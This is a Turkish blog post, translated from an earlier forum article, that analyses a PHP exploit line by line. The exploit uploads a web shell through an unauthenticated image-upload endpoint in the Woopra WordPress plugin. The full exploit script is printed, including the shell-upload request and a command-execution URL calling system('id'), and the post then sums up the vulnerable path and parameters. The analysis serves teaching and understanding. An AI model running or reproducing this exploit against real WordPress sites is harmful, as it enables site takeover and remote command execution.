Exploit Analizi

Zamanında yabancı bir forum için yazdığım bir yazıyı arkadaşım Türkçe'ye çevirip yayımlamıştı. Faydalı bir yazı olduğunu düşündüğümden burada da paylaşmak istiyorum.

Bugün sizinle bir exploitin işleyişini anlamak ve kullandığı güvenlik açığı hakkında daha fazla bilgi edinmek amacıyla exploit analizi yapacağız.
Exploit analizi yapabilmek en az exploit geliştirmek kadar önemli bir konudur. Bazen exploit geliştiricileri zafiyet hakkında yeterli bilgi vermeyebilir veya siz zafiyet hakkında daha fazlasını bilmek isteyebilirsiniz. Exploit analizi yapabilmek, bu durumlarda yararlı olacaktır. Ayrıca exploitlerin genel anlamda nasıl çalıştığını anlamanıza da katkı sağlayacaktır.

Exploit geliştirmede kullanılan en yaygın dillerden bazıları: Python, Perl, Ruby, PHP, C
Bu dillerden en az birini bilmekte fayda var.
WordPress’i ele geçirmek için PHP dilinde yazılmış basit bir RFU(uzaktan dosya yükleme) exploit’ini inceleyeceğiz.
Hadi başlayalım.
Analiz edeceğimiz exploit: http://1337day.com/exploit/21347
Kodun yorumlardan arındırılmış versiyonu;
<?php
$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))    die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");

$url = $options['u'];
$file = $options['f'];
$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
$data = "";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 'Content-Type: text/plain');

$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) {
    echo " [+] Exploit completed successfully!\n";
    echo " ______________________________________________\n\n{$shell}?cmd=system('id');\n";
} else {
    die(" [+] Exploit was unsuccessful.\n");
}
?>
Exploitin nasıl çalıştığı hakkında neredeyse hiç bir bilgi yok. Yani bunu biz anlamalıyız.
İncelemeye başlayalım.
$options = getopt('u:f:');
getopt () fonksiyonu, komut satırından girilen argümanların değerlerini saklar. Yani bu kod satırı, girilen dizideki ‘-u’ ve ‘-f’ değerlerini saklayacaktır.
if(!isset($options['u'], $options['f']))
      die("\nUsage example: php IDC.php -u http://target.com/ -f shell.php\n -u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n");
$options[‘u’] ve $options[‘f’] parametrelerinin boş olup olmadığını kontrol eder. Eğer boşsa, kullanıcıya nasıl kullanması gerektiği hakkında bilgi içeren bir mesaj gösterir.

$url     =  $options['u'];
$file    =  $options['f'];
Şayet bu değerler boş değilse onları $url ve $file değişkenlerinde saklayacaktır.

$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url   = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
$shell değişkeni, shellin yükleneceği url'yi saklar. $url değişkeni ise zafiyet bulunan sayfayı. Zafiyetin bulunduğu url'ye bakarak, zafiyetin Uzaktan Dosya Yükleme açığı olduğu şeklinde tahmin yürütebiliriz.
$data      = "";
Bu değişken gönderilecek POST verisini saklayacak. Bizim durumumuzda bu POST verisi sunucuya yükleyeceğimiz shell'i içerecek.

$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');
Bu kodlar sunucuya göndereceğimiz başlık bilgilerini içerir.

$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);
cURL, web protokolleri arasında bağlantılar yapıp ve veri alışverişi sağlayabileceğiniz bir kütüphanedir. İlk satırda HTTP kolu($handle) oluşturulur. Bundan sonraki dört satırda ise curl_setopt() parametrelerini kullanarak istek oluşturulur ve gönderilecek veri onaylanır. İstek, curl_exec() fonksiyonuyla gönderilir ve alınan veri(genelde HTML dosyası olur) $source değişkeninde saklanır. Ve bağlantı curl_close() fonksiyonuyla ile kapatılır.

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) {
    echo " [+] Exploit completed successfully!\n";
    echo " ______________________________________________\n\n{$shell}?cmd=system('id');\n";
} else {
    die(" [+] Exploit was unsuccessful.\n");
}
Bu kod parçacığı HTML yanıtında ‘Undefined variable: HTTP_RAW_POST_DATA’ ifadesini arayacaktır - ki tahminimce bu istismarın başarısız olması durumunda sayfa tarafından döndürülen bir hatadır - eğer bulursa başarısız olmuştur. Ama şayet HTML yanıtında bu ifade yoksa ve yüklediğimiz shell dosyasına erişilebiliyorsa, exploit işlemi başarılı olmuştur.

Kodu inceleyerek exploit ve zafiyet hakkında edinilen bilgiler:
  • /wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php Sayfasında RFU açığı bulunmaktadır.
  • Yüklemek istediğimiz dosyanın adı ‘name’ parametresi altında GET metodu ile gönderilir.
  • Dosyanın kaynak kodu ise POST yöntemi (ham post verileri) ile gönderilir.
  • Yüklenen shell burada yer alır: /wp-content/plugins/Woopra/inc/tmp-upload-images/{dosyaadı}
Exploit'in analiziyle zafiyet hakkında edinilen bilgiler dikkate alındığında bu konunun önemi bir kez daha ortaya çıkmaktadır.
Sonraki yazıda görüşmek üzere..

Yazan: Robin Dimyanoğlu
Çeviren: Yaşar CELEP

Revision2

Yorumlar

Bu blogdaki popüler yayınlar

DKHOS - Rev300 Çözümü

Part 1: Tersinden Tersine Mühendisliğe Giriş

Bir Güvenlikçi, Virüs ile Karşılaşırsa